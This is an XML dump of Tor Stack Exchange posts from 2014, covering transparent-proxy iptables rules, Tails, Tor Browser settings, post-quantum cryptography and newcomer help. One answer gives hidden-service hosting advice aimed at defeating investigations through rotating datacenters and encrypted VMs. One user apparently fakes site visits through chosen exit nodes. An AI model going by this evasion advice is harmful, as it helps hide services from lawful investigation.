  <row Id="4654" PostTypeId="2" ParentId="4652" CreationDate="2014-11-22T12:46:26.590" Score="3" Body="&lt;p&gt;note that redirect your entire traffic through the Tor network isn't a good idea when you have to upgrade your packages or do things that require a lot of bandwidth. Anyway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Install Tor (if you didn't already): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install tor -y&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;2) Start Tor from the terminal:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;user@notebook:~$ tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For security reasons you should run Tor without root privileges, so you can create a separate user just for Tor:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo adduser tor --uid 3000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The ID of the &quot;Tor user&quot; should be the lower of the other users to minimize the security risks. After adding the &quot;Tor user&quot; you should create a Tor directory of Tor's user home:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cd /home/tor&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;mkdir .tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That you have to change the current user:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;su tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And finally you can run Tor.&#xA;Note that Tor opens a socks proxy on port 9050 by default, even if you don't&#xA;configure one so what you have to do is to set the proxy to: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;socks5://127.0.0.1:9050&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And so go to system settings --&gt; network --&gt; proxy and here you are...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you to don't use Tor when you have to upgrade some packages or when you download big size data... even when you watch a video on youtube or other sites... this isn't a good idea either for you (because Tor's network is slow) or for the Tor network.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastEditorUserId="923" LastEditDate="2014-11-24T16:14:24.890" LastActivityDate="2014-11-24T16:14:24.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4655" PostTypeId="2" ParentId="4652" CreationDate="2014-11-22T14:42:34.170" Score="7" Body="&lt;p&gt;Short answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer that more properly answers your qustion and use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once Tor is installed (I'll leave that to you; I recommend using the official Tor repos for Debian), add the following to your &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AutomapHostsOnResolve  1&#xA;DNSPort                53530&#xA;TransPort              9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using selinux (I'm not familiar with Kali, but I doubt you are), make sure Tor is allowed to bind to 9040:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;semanage port -a -t tor_port_t -p tcp 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;create a file to contain your iptables rules. For IPv4: &lt;code&gt;/etc/iptables.firewall.rules&lt;/code&gt; and for IPv6: &lt;code&gt;/etc/ip6tables.firewall.rules&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit the IPv4 file and add something like the following (make sure to grep for TODO items and follow the instructions):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Ues the nat table to redirect some traffic to Tor&#xA;&#xA;*nat&#xA;:PREROUTING ACCEPT [0:0]&#xA;:INPUT ACCEPT [0:0]&#xA;:OUTPUT ACCEPT [0:0]&#xA;:POSTROUTING ACCEPT [0:0]&#xA;&#xA;# Don't allow Tor traffic to get stuck in a redirect loop...&#xA;# TODO: Is `tor' your actual Tor user? It might be `debian-tor' or `toranon' or something else.&#xA;-A OUTPUT -m owner --uid-owner tor -j RETURN&#xA;&#xA;# Redirect DNS lookups to Tor.&#xA;# TODO: Set this to your Tor DNSPort if it's not 53530.&#xA;-A OUTPUT ! -o lo -p udp -m udp --dport 53 -j REDIRECT --to-ports 53530&#xA;&#xA;# Do not redirect private networks or loopback.&#xA;-A OUTPUT -d 10.0.0.0/8 -j RETURN&#xA;-A OUTPUT -d 172.16.0.0/12 -j RETURN&#xA;-A OUTPUT -d 192.168.0.0/16 -j RETURN&#xA;&#xA;# Redirect HS connections to the TransPort.&#xA;-A OUTPUT -d 127.192.0.0/10 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040&#xA;&#xA;# Redirect all TCP traffic to Tor's TransPort.&#xA;-A OUTPUT ! -o lo -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040&#xA;&#xA;COMMIT&#xA;&#xA;# Only accept anonymized network traffic in the filter table.&#xA;&#xA;*filter&#xA;:INPUT DROP [0:0]&#xA;:FORWARD DROP [0:0]&#xA;:OUTPUT DROP [0:0]&#xA;:LAN - [0:0]&#xA;&#xA;# Allow loopback&#xA;-A INPUT -i lo -j ACCEPT&#xA;&#xA;# Allow connections that are already established.&#xA;-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&#xA;-A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&#xA;&#xA;# Reject incoming connections.&#xA;-A INPUT -p udp -m conntrack --ctstate NEW -j REJECT --reject-with icmp-port-unreachable&#xA;-A INPUT -p tcp -m conntrack --ctstate NEW -j REJECT --reject-with tcp-reset&#xA;-A INPUT -j REJECT --reject-with icmp-port-unreachable&#xA;&#xA;# Accept network traffic for the Tor service itself.&#xA;# TODO: Tor user?&#xA;-A OUTPUT -m owner --uid-owner tor -j ACCEPT&#xA;&#xA;# Accept DNS requests to the Tor DNSPort.&#xA;-A OUTPUT -d 127.0.0.1/32 -p udp -m udp --dport 53530 -j ACCEPT&#xA;&#xA;# Accept outgoing traffic to the local Tor TransPort.&#xA;-A OUTPUT -d 127.0.0.1/32 -p tcp -m tcp --dport 9040 --tcp-flags FIN,SYN,RST,ACK SYN -j ACCEPT&#xA;&#xA;# Accept outgoing traffic to the local Tor SOCKSPorts.&#xA;-A OUTPUT -d 127.0.0.1/32 -p tcp -m tcp --dport 9050 --tcp-flags FIN,SYN,RST,ACK SYN -j ACCEPT&#xA;-A OUTPUT -d 127.0.0.1/32 -p tcp -m tcp --dport 9150 --tcp-flags FIN,SYN,RST,ACK SYN -j ACCEPT&#xA;&#xA;# Accept connections on private networks.&#xA;-A OUTPUT -d 10.0.0.0/8 -j LAN&#xA;-A OUTPUT -d 172.16.0.0/12 -j LAN&#xA;-A OUTPUT -d 192.168.0.0/16 -j LAN&#xA;-A LAN -p tcp -m tcp --dport 53 -j REJECT --reject-with icmp-port-unreachable&#xA;-A LAN -p udp -m udp --dport 53 -j REJECT --reject-with icmp-port-unreachable&#xA;-A LAN -j ACCEPT&#xA;&#xA;# Reject all other outgoing traffic.&#xA;-A OUTPUT -j REJECT --reject-with icmp-port-unreachable&#xA;&#xA;COMMIT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the IPv6 file, you can do something similar with &lt;code&gt;ip6tables&lt;/code&gt;, or just drop all IPv6 traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set these rules to be loaded on startup by creating the file &lt;code&gt;/etc/network/if-pre-up.d/firewall&lt;/code&gt; with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;/sbin/iptables-restore &amp;lt; /etc/iptables.firewall.rules&#xA;/sbin/ip6tables-restore &amp;lt; /etc/ip6tables.firewall.rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restart Tor if needed, and load your new firewall rules manually by executing the previous commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I haven't tested all of these rules (they were compiled from several places online), and there are likely to be leaks in ways that I'm not thinking of. Suggestions and improvements welcome. There may also be an easier way to set rules on your distribution; I'm not familiar with Kali beyond basic Debian administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you should NOT rely on this where perfect anonymity is a must. You're also going to have to think about the kinds of traffic you generate, and tweak your browsing habbits. The usual disclaimers apply.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further reading&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4035/how-does-tor-transparent-proxying-work&quot;&gt;How does Tor transparent proxying work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://jamielinux.com/articles/2013/08/how-to-force-all-network-traffic-through-tor-on-fedora/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to force all network traffic through Tor on Fedora&lt;/a&gt; (borrowed a lot of his ideas here to patch holes in my initial pass at the firewall)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor documentation on the subject&lt;/a&gt; with workarounds for several leaks (not included here)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-11-24T15:38:43.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4657" PostTypeId="2" ParentId="4643" CreationDate="2014-11-23T04:13:40.530" Score="2" Body="&lt;p&gt;As mentioned in previous answer, Tor is based on Firefox, which by default trims URLs, and won't show the schema part on the URL bar if the site you're browsing to uses plain HTTP protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a (hidden) setting to disable that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;about:config&lt;/code&gt; (type that into the URL bar).&lt;/li&gt;&#xA;&lt;li&gt;Firefox (the Tor Browser) will warn you of being about to modify advanced settings, in a way that's enough to scare some novice users. Just confirm that you'll be careful, if you really want to take the risk; just don't do it if you don't trust me ;-)&lt;/li&gt;&#xA;&lt;li&gt;Then search for the &lt;code&gt;browser.urlbar.trimURLs&lt;/code&gt; setting, and double click it to switch its value from &lt;code&gt;true&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; (it will become &lt;strong&gt;bold&lt;/strong&gt; indicating that the default value was changed; you can undo this change any time).&lt;/li&gt;&#xA;&lt;li&gt;With this sole change the URL bar (as well as the URL tooltip that appears at the bottom of the window when you hover on links with the mouse) will always display the full URL.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't think this will make with your search results look less &quot;funny&quot;, however.&lt;/p&gt;&#xA;" OwnerUserId="5158" LastActivityDate="2014-11-23T04:13:40.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4658" PostTypeId="2" ParentId="4649" CreationDate="2014-11-23T05:09:21.877" Score="7" Body="&lt;p&gt;TLDR: No, it would be nice, but the primitives are not there yet, it is something that some of us think about though.&lt;/p&gt;&#xA;&lt;p&gt;To secure Tor against quantum computer attacks you will need:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A replacement for TLS (to secure the inter-relay traffic).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alternatively post quantum TLS ciphersuites can be used here instead, but none currently exist. (The &lt;a href=&quot;https://datatracker.ietf.org/doc/html/draft-ietf-tls-ntru-00&quot; rel=&quot;nofollow noreferrer&quot;&gt;old IETF draft&lt;/a&gt; that added NTRU suites does not count, because it needs major revision and does not provide a suitable signature algorithm, or perfect forward secrecy).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A signature algorithm (to replace RSA/Ed25519)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NTRUSign is completely, utterly, broken.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sphincs.cr.yp.to/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SPHINCS256&lt;/a&gt; has rather large keys/signatures and is quite slow on systems without AVX2.&lt;/li&gt;&#xA;&lt;li&gt;The other primitives here have bigger drawbacks than SPHINCS256.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A key exchange primitive (to replace Curve25519).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simply using NTRUEncrypt will result in keys/ciphertexts that do not fit into single cells.&lt;/li&gt;&#xA;&lt;li&gt;NTRU-KE is incredibly new, the on-the-wire components do not fit into a single Tor cell, and no one has done the work to determine &amp;quot;safe&amp;quot; parameter sets.&lt;/li&gt;&#xA;&lt;li&gt;Supersingular Isogeney Diffie-Hellman is also incredibly new, and considerably more computationally expensive than Curve25519.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A symmetric encryption primitive (to replace CTR-AES128)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;Easy&amp;quot;, pick something with a 256 bit security target.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All of this ignores the fact that NTRU is patent encumbered (to 2017 for the X9.98 parameter sets, 2020 for the newer parameter sets).&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastEditorUserId="-1" LastEditDate="2021-10-07T07:24:50.413" LastActivityDate="2014-11-23T05:09:21.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4659" PostTypeId="1" AcceptedAnswerId="4660" CreationDate="2014-11-23T07:29:45.597" Score="3" ViewCount="266" Body="&lt;p&gt;When I go to &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; via TBB, I get a positive (green) result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lv3v8.png&quot; alt=&quot;check.tp.o via TBB&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I go there using another browser (non TBB) I get a positive (orange) result that says I am using Tor, but not TBB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvHXd.png&quot; alt=&quot;check.tp.o via non-TBB&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does &lt;em&gt;check.torproject.org&lt;/em&gt; know I am using TBB? What implications does that have on my anonymity on the internet? What else can anyone (read: ISPs, governments, corporate IT personnel, etc.) know about me when I'm using Tor?&lt;/p&gt;&#xA;" OwnerUserId="456" LastEditorUserId="350" LastEditDate="2014-11-23T22:03:55.040" LastActivityDate="2014-11-23T22:03:55.040" Title="How does torcheck know I'm using TBB?" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4660" PostTypeId="2" ParentId="4659" CreationDate="2014-11-23T14:01:31.630" Score="5" Body="&lt;p&gt;Tor check looks at the IP the request is coming from and checks if it matches the IP of a known exit node to check if you're using Tor. Tor does not attempt to hide the fact that you are using Tor from any end servers, it just hides who you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see if you're using the TBB it checks that your user agent matches that provided by the latest TBB (&lt;code&gt;Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0&lt;/code&gt; at this time). This means it will throw a false positive if you're using a version of regular Firefox with that user agent string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ISPs, Governments, and other middle men are more likely to inspect network traffic to determine that you are using Tor (this does not mean they know what you are doing over Tor, just that you are using it).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-11-23T14:21:20.420" LastActivityDate="2014-11-23T14:21:20.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4661" PostTypeId="1" CreationDate="2014-11-23T17:18:19.427" Score="1" ViewCount="1152" Body="&lt;p&gt;I'm new to Tor and not a computer whiz.  I use IE and Chrome, or have done until now and have no idea how many cookies are around.  Will my searches on Tor Browser Bundle be totally anonymous with the other browsers installed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, how do I ensure anonymity not just in Tor Browser Bundle but also throughout my computer?&lt;/p&gt;&#xA;" OwnerUserId="5161" LastEditorUserId="696" LastEditDate="2014-11-25T22:57:41.547" LastActivityDate="2018-02-27T03:41:36.683" Title="Do I have to uninstall my other browsers before using Tor Browser Bundle?" Tags="|anonymity|browsers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4664" PostTypeId="2" ParentId="4606" CreationDate="2014-11-23T20:18:22.000" Score="2" Body="&lt;p&gt;You might look at the pluggable transports like &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot; rel=&quot;nofollow&quot;&gt;obfsproxy&lt;/a&gt; which is designed with DPI in mind. You might also try using a &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;bridge relay&lt;/a&gt; rather than the regular 9 directory authority servers. These are the two typical ways firewalls can be bypassed that I know of.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-11-23T20:18:22.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4665" PostTypeId="2" ParentId="4661" CreationDate="2014-11-23T20:33:26.730" Score="2" Body="&lt;p&gt;If you are using the Tor Browser Bundle, then there is no need to uninstall your other browsers first. Anything you do in TBB will be anonymous, anything  you do in your normal browser will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using your normal browser with Tor as a SOCKS proxy, then you may want to use your browsers private browsing feature (Private Browsing in Firefox, Incognito in Chrome) to prevent cookies from being saved, and to prevent existing cookies from being sent during your Tor session. I recommend simply using the Tor Browser Bundle; it will make things much easier and will be slightly less risky.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-11-23T20:33:26.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4666" PostTypeId="2" ParentId="4608" CreationDate="2014-11-23T22:41:56.840" Score="0" Body="&lt;p&gt;I have not tested this but according to my best understanding, this would get you close:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your torrc,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;ExitNodes&lt;/code&gt; directive to pick a node in {no} that &lt;em&gt;only&lt;/em&gt; allows IRC exit.  &lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;StrictNodes&lt;/code&gt; to 0 so that other connections will use different exits.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I don't know how Tor behaves in this situation, but maybe once you have a circuit to another exit that &lt;em&gt;also&lt;/em&gt; allows IRC, it gets used for IRC instead of building a new circuit to your preferred one. In that case, this doesn't work.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-11-23T22:41:56.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4667" PostTypeId="1" CreationDate="2014-11-24T13:15:43.653" Score="4" ViewCount="7002" Body="&lt;p&gt;On Ubuntu, how come Tor (0.2.4.20-1) doesn't create &lt;code&gt;control_auth_cookie&lt;/code&gt; anywhere on the system after enabling &lt;code&gt;CookieAuthentication&lt;/code&gt; in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/init.d/tor start&#xA;* Starting tor daemon...                                             [ OK ]&#xA;# tail -n 2 /var/log/tor/log&#xA;Nov 24 14:09:06.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 24 14:09:06.000 [notice] Bootstrapped 100%: Done.&#xA;# grep &quot;\(DataD\|Cook\)&quot; /etc/tor/torrc&#xA;DataDirectory /var/lib/tor&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5165" LastEditorUserId="5165" LastEditDate="2014-11-25T10:46:59.443" LastActivityDate="2020-08-12T00:11:42.083" Title="Why isn't `control_auth_cookie` being created?" Tags="|ubuntu|authentication|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4668" PostTypeId="2" ParentId="58" CreationDate="2014-11-25T14:00:49.680" Score="6" Body="&lt;p&gt;Interesting discussion points thus far.    &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use VMs as discussed.   I prefer VMware because of the networking, cloning, console access, replication, etc.   No need for an OSS hypervisor discussion.  These VMs need to be online, replicating, and failing over with zero issues and for use by any person who is involved in the enterprise. &lt;/li&gt;&#xA;&lt;li&gt;Your VMs are on RFC1918 IPs, on an isolated network, behind a firewall.   pfsense.org appliance is fine.   The firewall is your router and the only device your VMs route traffic through.  Each VM has a function!  Do not mix functionality.   You have a firewall VM, a storage VM, a Tor VM, a hidden service VM, etc.&lt;/li&gt;&#xA;&lt;li&gt;The datastore for the VMs is a FreeNAS VM, with encryption and compression, on the same host as the other VMs. This provides encrypted storage for all VMs and is the only VM that will need to be replicated offsite.   The ESXi host connects to the FreeNAS:  ESXi host &amp;lt;-&gt; VMkernel Interface &amp;lt;-&gt; NFS &amp;lt;-&gt; FreeNAS VM (on local datastore).    &lt;/li&gt;&#xA;&lt;li&gt;The OS of your VMs are stripped down installs.  What remains on the VMs is only what is needed to for that VM to perform its function.   Remove all other binaries.   Traceroute, ping, wget, fetch, netstat, gcc, tcpdump, ssh, vi, cat, ls, etc etc.   There should be nothing on the production VMs that can be used to identify its location or real IPs, compile software, edit files, view files, fetch tools, etc.   Your firewall should pay as much attention to the LAN as it does the WAN.   This also includes stripping all un-necessary modules from PHP as many of the functions of the removed system binaries can be duplicated with PHP modules.    &lt;/li&gt;&#xA;&lt;li&gt;No SSH, FTP, telnet, etc. access to the VMs.  The VMs are managed via the console of the VM.   You can mount CDROM's, Floppies, etc. from the VM console for code pushes.    &lt;/li&gt;&#xA;&lt;li&gt;FreeNAS is replicated on a 4 hour RPO (the whole VM), after the initial sync the updated data would be minimal and would sync in minutes.   You will have 4+ datacenters at any given time.  All datacenters are replaced every 3 months. You will bring your VMs live at one of your 4 datacenters every week.   You will delete the FreeNAS VM from the prior host each week.   Rinse repeat. Your data is flowing from one data center to another each week via replication.&lt;/li&gt;&#xA;&lt;li&gt;Downtime should be considered a huge warning sign to not return to a particular datacenter.  Your cloned servers will provide no help to any investigation because your FreeNAS VM (containing all of your VMs) is encrypted.   The extra paranoid would also have the OS of each VM encrypted also. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your FreeNAS VM should be 5GB in size (or less) for easy portability.  Thin provision your VMs and turn on compression on the FreeNAS datastore.     &lt;/p&gt;&#xA;" OwnerUserId="5172" LastActivityDate="2014-11-25T14:00:49.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4669" PostTypeId="1" CreationDate="2014-11-25T21:03:00.763" Score="1" ViewCount="115" Body="&lt;p&gt;Total Tor newbie here. I have Tor Bundle with Tor Browser 4.5-alpha-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a problem with certain links - nothing happens at all.&#xA;As an example, the Join link on www.tripadvisor.com.&#xA;I assume it is because it links to a HTTPS URL but isn't Tor supposed to handle that?&#xA;Thanks for any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="5173" LastEditorUserId="923" LastEditDate="2014-11-26T07:26:07.127" LastActivityDate="2014-12-06T18:20:48.400" Title="Clicking on &quot;Join&quot; link in TripAdvisor does not work!" Tags="|help|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4670" PostTypeId="2" ParentId="4661" CreationDate="2014-11-25T21:06:38.280" Score="0" Body="&lt;p&gt;What you do on a browser besides Tor Browser Bundle (TBB) does not affect what you do on TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: You google how to eat cats on Tor Browser Bundle. Then you close TBB and open up Firefox. In Firefox you google how to adopt cats. The people watching know you are trying to adopt a cat. They also know someone is trying to eat cats. They have no clue that you are both of those people.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To get anonymity throughout your computer please use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails is a live operating system, that you can start on almost any computer from a DVD, USB stick, or SD card. It aims at preserving your privacy and anonymity, and helps you to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the Internet anonymously and circumvent censorship;&lt;/li&gt;&#xA;&lt;li&gt;all connections to the Internet are forced to go through the Tor network;&lt;/li&gt;&#xA;&lt;li&gt;leave no trace on the computer you are using unless you ask it explicitly;&#xA;use state-of-the-art cryptographic tools to encrypt your files, emails and instant messaging.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-25T21:06:38.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4671" PostTypeId="2" ParentId="4669" CreationDate="2014-11-25T21:15:57.263" Score="1" Body="&lt;p&gt;That link requires JavaScript. Enable it and it should work. Alternatively just visit the link &lt;a href=&quot;https://www.tripadvisor.com/Register&quot; rel=&quot;nofollow&quot;&gt;https://www.tripadvisor.com/Register&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, HTTPS works fine on Tor. TBB actually has HTTPS Everywhere installed which automatically uses https on all known sites to support HTTPS. &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-25T21:15:57.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4672" PostTypeId="1" CreationDate="2014-11-26T02:43:47.347" Score="4" ViewCount="2167" Body="&lt;p&gt;First off, I am running Tails live off of a USB drive on a MacBook Retina. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything boots up fine, but the display resolution is way to high for my screen and everything looks so small. When I try to adjust the resolution, my screen goes black and I can't see what is going on anymore, until I restart my computer and boot back in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using xrandr to adjust the resolution but the screen goes black with that as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next problem is trying to set up a persistent drive. I have installed Tails on my USB following their Mac USB installation guide exactly, but when I try to create a persistent drive I get this error message: Device /dev/sdb was not created using Tails installer. Could somebody help me to solve these problems?&lt;/p&gt;&#xA;" OwnerUserId="5177" LastEditorUserId="923" LastEditDate="2014-11-26T07:19:22.787" LastActivityDate="2019-12-10T08:03:40.273" Title="Tails display errors and persistence errors!" Tags="|configuration|tails|help|persistent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4674" PostTypeId="1" CreationDate="2014-11-26T07:30:59.867" Score="2" ViewCount="643" Body="&lt;p&gt;I have a question about Tor browser. I set up exit nodes for US and I visits my new site 10 times per day from 10 different US based IP addresses but every day only 4 US based IP address visits counted and the rest is from other countries. Can you help me?&#xA;Following please find my setings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;DataDirectory C:\Users\florin\Deskto\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;DirReqStatistics 0&#xA;GeoIPFile C:\Users\florin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\florin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5179" LastEditorDisplayName="user5" LastEditDate="2014-11-26T23:39:10.827" LastActivityDate="2014-11-26T23:39:10.827" Title="Tor country IP address problem!" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4675" PostTypeId="2" ParentId="4669" CreationDate="2014-11-26T07:32:53.990" Score="0" Body="&lt;p&gt;Tor Bundle with Tor Browser 4.5-alpha-1 is an experimental package. There maybe number of problems with that package. This is way it is called alpha. It maybe best to use a stable version of Tor package at this stage. When you become more familiar with Tor, you may consider an experimental software like an alpha version.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-11-26T07:32:53.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
